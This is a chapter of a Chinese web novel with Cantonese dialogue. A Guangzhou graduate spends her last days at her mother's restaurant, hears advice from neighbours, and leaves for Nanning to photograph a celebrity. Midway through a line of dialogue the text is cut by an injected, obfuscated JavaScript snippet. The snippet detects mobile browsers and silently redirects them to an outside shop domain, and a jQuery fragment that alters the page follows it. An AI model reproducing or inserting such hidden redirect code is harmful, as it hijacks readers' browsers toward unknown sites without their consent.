六月三号中午十二点二十七分，答辩委员会三个人合了一下分。
导师姓陈，戴方框眼镜，批注写得比正文密，他抬头："可以了。"
她站起来鞠了一躬，PPT还留在最后一页，出门的时候才发现左手一直按着讲台，按得手心出汗。
走出学院，广州的太阳白得晃眼，她站在台阶上想了三秒钟，没想出一件要做的事。
毕业了。
妈妈电话打进来。
"边度？"
"学院门口。"
"過咗？"
"过了。"
"好，返嚟食饭。"
她嗯了一声，挂了电话才反应过来，她没告诉妈妈今天答辩。
妈妈是怎么知道的？
妈妈又打过来："你论文三月嗰阵就改了咗十四遍，你以为妈唔识睇你写字啊？今日答辩日，妈煮咗蒸排骨。"
她愣了一下。
妈妈又："回唔回？唔回我就收档啦。"
"回。"
她下午四点回到店里，江记没人。清明那股生意劲过去了，五六月广州学生放假，本地人不热不冷。店里就两张桌坐着人，一桌是街坊张叔常驻那桌，一桌是她妈妈拉着陈姨下象棋那桌。
"阿女返嚟啊？"陈姨头也没抬，"听讲今日答辩？"
妈妈拍了一下陈姨胳膊："过咗啦，过咗啦，别问。"
她脱了背包坐下，妈妈已经把蒸排骨端上来了。一碟，一碗白饭，一碗清补凉——清热下火，广州六月的仪式。
"食。"
她吃。排骨是老广州味——豆豉蒜蓉垫底，芋头垫底，蒸到排骨一咬就脱骨，妈妈二十三年就靠这道菜打天下。
妈妈坐对面，看着她吃，不动筷子。
"妈，你唔食？"
"妈唔饿。"
"你煮俾我，自己唔食？"
"嗯。"
她抬头，看见妈妈眼圈有点红。
"妈？"
"无嘢，食。"
她埋头继续吃，妈妈悄悄擦了眼角——她没看见，假装没看见。
第二天下午，妈妈问出了那句。
"阿女。"
"嗯。"
"你接唔接呢间店？"
她筷子停了。
店里开着空调，妈妈搬了一张塑料椅坐在她对面，墙上那台老吊扇也在转，二十年没停。菜单上是妈妈二十三年前的字迹，到今年都没换。
"妈。"
"唔好急答。"江秀兰说，"妈唔迫你。"
"我……"
"你毕业了，妈问你一句——一年前妈唔问，是因为你走不开。"
她沉默。
江秀兰看她一眼，没再问。
晚上她睡在店里，妈妈睡楼上，本来帮工陈姨睡楼下那张，临时让给她。
她睡不着。
"妈"
楼上没回应。
"妈，你未瞓？"
"未。"
"我……"
"你讲。"
"我下个礼拜要走。"
"去边度？"
她顿了一下。
"……南宁。"
妈妈沉默了很久。
"係咪睇你嗰个小伙子？"
她没出声。
妈妈叹了口气："妈早知。"
"妈你点知？"
"你屏保。"
她又沉默。
妈妈又："你那张图跳得好高，脚上贴住个白色嘢。"
"……"
"妈唔识睇相，但妈识睇你拍嘢，你从来唔影呢种瘴嘢。"
她喉咙动了动。
那句"妈，係我影嘅"——她咽咗返去。
她改口："妈，我唔接呢间店——我唔係接佢嘅人。"
江秀兰在楼上沉默了一会儿，过了很久说：
"妈识，陈姨瞓咗，你下楼同妈饮杯嘢。"
她下了楼。
妈妈的清补凉是冷的——煮好放凉，正好六月的夜晚喝着舒服。
两个人坐在塑料椅上，店里黑黑的，街灯照进来一小片。
妈妈喝了一口："你嗰个小伙子……叫咩名？"
"权志龙。"
"呢个年纪乜都未定。"妈妈笑了笑，"妈二十三年前都唔知呢间店开到今日。"
她低头。
"妈你有冇后悔过？"
"后悔咩？"
"爸走嗰年，你开呢间店——你后悔过？"
妈妈沉默了一会儿："冇。开咗就开咗，开到今日就係。今日——陈姨你行先啦！"
她抬头——陈姨不知道什么时候已经回家了。
店里只剩她们两个。
六月四号起，她住进了店里。
帮工陈姨请了假回福建老家，头尾十几日，她顶手。
早上五点半跟妈妈去东川买菜。
六月广州的菜场是荔枝季，阿容档口旁边新添了一个果筐，妃子笑，红壳白霜。
"秀兰，妃子笑到咗。阿女食——拎两斤？"
"呢个热气。"妈妈说，"食两粒就好。"
"高考完嗰啲学生仔一箱一箱咁买。"阿容说，"后生仔怕咩热气。"
妈妈："佢唔係后生仔，佢係我个女。"
阿容笑："一样一样。"
最后妈妈还是拎了一斤——用报纸垫着，搁在菜筐最上面。
她跟在后面拎菜，通菜三袋，菜心两兜，丝瓜一条。
"丝瓜最易坏，今日煮。"阿容说。
回到家，荔枝她吃了两粒。
妈妈看她："好唔好食？"
"甜。"
"甜就停。"
她把剩下的推远了一点。
白天店里没什么生意。她擦桌子，端菜，跑菜。
妈妈不让她收碗。
"你手係揸相机嘅。"
"妈——碗我都唔识收，我以后——"
"以后？"
她不说话了，把碗抱进了厨房。
妈妈在后面看着她，没再讲。
晚上没客，她坐下来记帐。
妈妈说："你唔好乱动妈本簿。"
"唔乱动，我学下数。"
妈妈想了想，把本子推过来："学吧——你唔接呢间店，至少识睇数。"
她翻了翻。妈妈的帐——二十三年的流水，密密麻麻。妈妈写的是繁体——"午市"、"晚市"、"节庆"、"春茶"、"清明"、"端午"。每一行都有日期和金额。
她看了很久："妈，你一笔数都冇落过？"
"落过做咩？我自己睇得明。"
"我睇唔明。"
"你唔需要睇明。"
她又翻了翻，看见夹在中间一张折了角的纸。打开，是她的手写——三年前，她高三那年。
"妈你……"
"你高考前一晚写嘅。问我接唔接呢间店——嗰阵妈唔识答——呢句我存咗三年。"
她看着自己的字——稚气的笔迹，写着"妈，你呢间店以后点算？"
"妈"，底下写着："我读完书帮你。"
她不动了。
妈妈说："你写过。"
她点头。
"但你没接过，妈妈等咗你三年。"
"妈……"
"你唔好答。"妈妈把本子抽回去，"你帮妈揸下手——妈就当——还返你三年前嗰句话。"
她低着头，肩膀抖了一下——没出声。
妈妈没看她，继续翻帐本。翻到六月嗰页，笔顿了一下，写：
"六月十二号——你走。"
"走边度？"
"南宁。"
妈妈抬头看她一眼，没再讲。
六月六号，黄昏。落了一阵雨，落完更热。
妈妈收了档，说："行开下。"
两个人走到第十甫路。吴姐廿四味——铺子三平米，一口铜壶，招牌手写"吴姐廿四味"。
吴姐看见她："梨初——你毕业啦？"
"嗯。吴姐你身体仲好？"
"好——你呢次返嚟几日？"
"成个月咁滞。"
吴姐笑："你妈呢排日日嚟——买廿四味——话'阿女返嚟，煮唔切'——"
妈妈："吴姐——"
"讲下笑啫。"吴姐把廿四味倒两碗，一碗她，一碗妈妈。
廿四味苦。妈妈喝惯。她端着，没喝。
吴姐顺手从旁边一个玻璃罐里舀了一勺黄色的东西加进她碗里。
"吴姐你加咩？"
"癍痧。"吴姐说，"廿四味苦——加癍痧先唔觉苦。广州人嘅。"
她喝了一口，苦回甘。癍痧的甜压住了廿四味的苦。
妈妈看她喝："你几时识饮凉茶？"
"旧年夏天开始。"她说，"去到边，饮到边。"
吴姐："去到边？"
"追星。"妈妈替她说，"成都重庆长沙——下个礼拜南宁。"
"南宁热。"吴姐说，"热过广州——你去搵南宁嘅凉茶铺——一样嘅——苦嘢边度都係苦。"
她笑了。
她多付了五块，吴姐硬是退回来："你冇买——加嗰一勺——唔使钱。"
"吴姐你卖嘢——"
"卖嘢——加凉茶——唔係卖。"吴姐说，"你妈同我讲你毕业——你妈讲'阿女毕业了'——我就加。"
她收了。
临走吴姐又说："追星——追到几时啊？"
她想了想。
"唔知。"
"唔知就好。"吴姐说，"我嗰年追邓丽君——追到我老公追我——两个人一齐追——追到而家——"
妈妈笑了。
她也笑了。
铜壶底下火没关，咕嘟咕嘟。
六月八号，中午。王叔来江记吃饭。
王叔今年六十有三，退休三年，儿子在美国。他每个月来一次江记。固定的——一碟蒸排骨，一碗白饭，一碗清补凉。
他坐下，看见她，顿了一下："梨初——你返嚟啦？"
"王叔——你啱啱——"她笑了。
"我嚟食饭。"
妈妈端出排骨："王叔坐。今日份多——你食。"
王叔坐下，她跟王叔对坐。两个人一碟排骨两碗饭。
吃到一半，王叔问："南宁——下个礼拜——你去？"
"嗯。"
"票几时抢嘅？"
"五月头。大麦开票嗰阵。"她说，"这次——手没慢。"
王叔点头："一年了。"
"嗯。"
王叔扒了两口饭，放下筷子："你妈前日打电话畀我。"
"我妈？"
"你妈用广州话问我——'王哥——我阿女去南宁——你追咗佢十年——你……'"
他学不来广州话——但学得像。
"你妈嘅意思——"王叔笑了，"你妈问我——能不能够帮阿女看一眼。"
她筷子停了。
"王叔你——"
"我帮唔到。"王叔说，"南宁我唔去。你妈知道我唔去。"
"咁我妈问你——"
"你妈唔係要我帮你。"王叔说，"你妈係要知——呢件事——有冇人陪你一齐信。"
她不动了。
"我话你妈知——"王叔竖起一根手指，"有。我追咗十年。"
她眼泪下来了。
王叔把纸巾推过去。
"唔係——"她说——"王叔——我妈——"
"你妈识——你妈一直识——"王叔说，"你妈识你追咗佢一年——你妈识你够唔够钱——你妈唔识你追嘅係边个——但你妈识——你妈识你追嘅係你——"
她低着头。
妈妈在厨房里切冬瓜——冬瓜最重手——今日煮汤。
王叔又说："南宁——你够唔够钱？"
她点头。
"够。"
"够就去。"王叔说，"一年前——你借我部机——嗰张票——係我张票。"
"嗯。"
"今年——你自己嘅机——你自己嘅票。"王叔说，"一年，够多。"
她低头笑。
王叔又："影相——机唔好攢太尽——手臂会酸——酸就换手——唔好死撑。"
"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936239|213721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
王叔你——"
"我经验。"王叔说，"我嗰阵企三个钟——散场——买咗个豆沙包——手震到食唔到。"
她笑出声。泪还在脸上。
那天王叔把一碟排骨、一碗饭、一碗清补凉，吃得干干净净。
起身，走了两步又回头。
"南宁返嚟——讲我知。"
"知咩？"
"佢瘦咗定肥咗。"
"好。"
六月十号到六月十一号，她都在店里。
白天帮妈妈跑菜、收台、抹桌。晚上九点收档——妈妈数钱，她在旁边学。
妈妈数钱唔用计算器——一张一张——数完用铅笔写喺簿度。
"妈，你唔惊数错？"
"数咗二十三年。"妈妈说，"手识数。"
她看着妈妈的手——指节粗，虎口有茧——数钱的时候很快。
她低头看自己的手——右手虎口，有茧——拿相机拿出来的。
两只手，不一样。
她没讲话。
六月十一号，早上七点半。
妈妈叫她起身："饮早茶。"
"妈——"
"听日坐三个钟车。"妈妈说，"今日食好啲。"
两个人去西关，莲香楼。
两个人坐一桌。妈妈点虾饺，烧卖，叉烧包，凤爪，艇仔粥。
妈妈帮她夹菜："食——食饱先上车——唔好饿。"
她吃。虾饺皮薄，烧卖肉实，叉烧包松软，凤爪一咬就脱骨，艇仔粥热，葱花多。
妈妈不动筷子。
"妈你唔食？"
"妈看着你食。"
她又夹了一个虾饺到妈妈碗里，妈妈这次吃了。
吃完茶下楼，妈妈走在前面，她走在后面。
西关老街——她没来过几次。巷子里有卖凉果的，卖咸煎饼的，卖鸡仔饼的。广州老味道。
妈妈停在一个铺面——咸煎饼。档主姓温，五十多岁，妈妈认识他。
"温哥——"
"秀兰——你今日带阿女？"温哥说，"呢个——梨初？"
她跟温哥打招呼。
温哥切了一块咸煎饼给她："食——你妈妈嘅——我请。"
她吃，咸煎饼南乳味重，焦香。
妈妈在旁边说："听日——佢走。"
温哥："去边？"
"南宁。"
"南宁几好。"温哥说，"老友粉——酸笋——我后生嗰时去过——"
妈妈："阿女——"
"嗯。"
"妈问你一句。"
她看着妈妈。
妈妈看着西关老街：
"妈唔係问你接唔接呢间店——妈问你另一句——你——你自己——想唔想做你而家做紧嘅呢件事？"
她愣了一下。
做紧嘅——摄影，追星。
"妈——"
"唔好急答。"妈妈说，"妈喺度讲——你喺度听。"
她不响。
妈妈又说："妈二十三年前开呢间店——妈唔係因为想做——妈係因为要做——妈嗰年——你爸爸走咗——妈要做——"
妈妈停了。
"今日——妈问你——你呢件事——係'要做'，定係'想做'？"
西关老街——咸煎饼的香气飘过来——温哥在切第二块——他抬头看她们娘俩——他也没说话。
她不动了。
她想起答辩那天导师那句——"你是真心实感"。
她想起吴姐——"唔知就好"。
她想起王叔——"够就去"。
她想起三年前那张纸——"我读完书帮你"。
她开口：
"妈——我做。"
妈妈笑了。
温哥在后面递过来第二块咸煎饼："你妈妈讲嗰阵——第二块——我切——你两个——一人一半——"
妈妈接了。
她接了。
咸煎饼热的，热的。
六月十一号，夜里。
妈妈睡了。
她一个人坐在店里，把签到系统的记录调出来——一年下来，A4 纸打的票根贴了半本。
她一张一张撕下来，从最后一张撕到第一张。
最后一张是五月十六号从东京回程的红眼航班，站台费十二块，签到金+0。
第一张——五月三十号，广州，首站。
她把整本子合上，看了一会儿。
手机震了一下。论坛。
老王开帖：【二巡场指南：佛山已过，南宁下一站，梨花带雨去不去？】
她回了一个字：
【去。】
她笑了一下，锁屏。
窗外，广州六月的夜，落着毛毛雨。但她在广州拍——拍到了那场夜雨、王叔那张老脸、妈妈店里的蒸排骨、清补凉、吴姐的癍痧、温哥的咸煎饼——
她拍了一年广州。
还有七天。
一周年。
她打开本子，写：
【六月十一号，明天，南宁。高铁来回四百，住一晚一百二，食一百五。】
【签到第358天。】
她合上本子。
检查相机包：机身、镜头、备用电池两块、充电器、内存卡三张、伞——
伞塞包底。
她想了一下，又把伞往下按了按。
六月十二号，清晨六点半。
闹钟响之前她已经醒了——广州南站八点二十的高铁——D 字头——南宁东，三个钟。她拉杆箱没托运，相机包斜挎在身。
妈妈没下楼。
她在楼梯口停了一下。
楼下店里黑黑的，街灯照进来一小片。妈妈的清补凉还剩半锅，盖着盖。
她没开灯——她拉开店门，出去。
街灯下她回头看了一眼店里。
妈妈没下来。
妈妈没下来送她。
她转身——
出租车已经停在巷口——"梨初啊？"
"系。"
"广州南？"
"广州南。"
"走啦。"
"走啦。"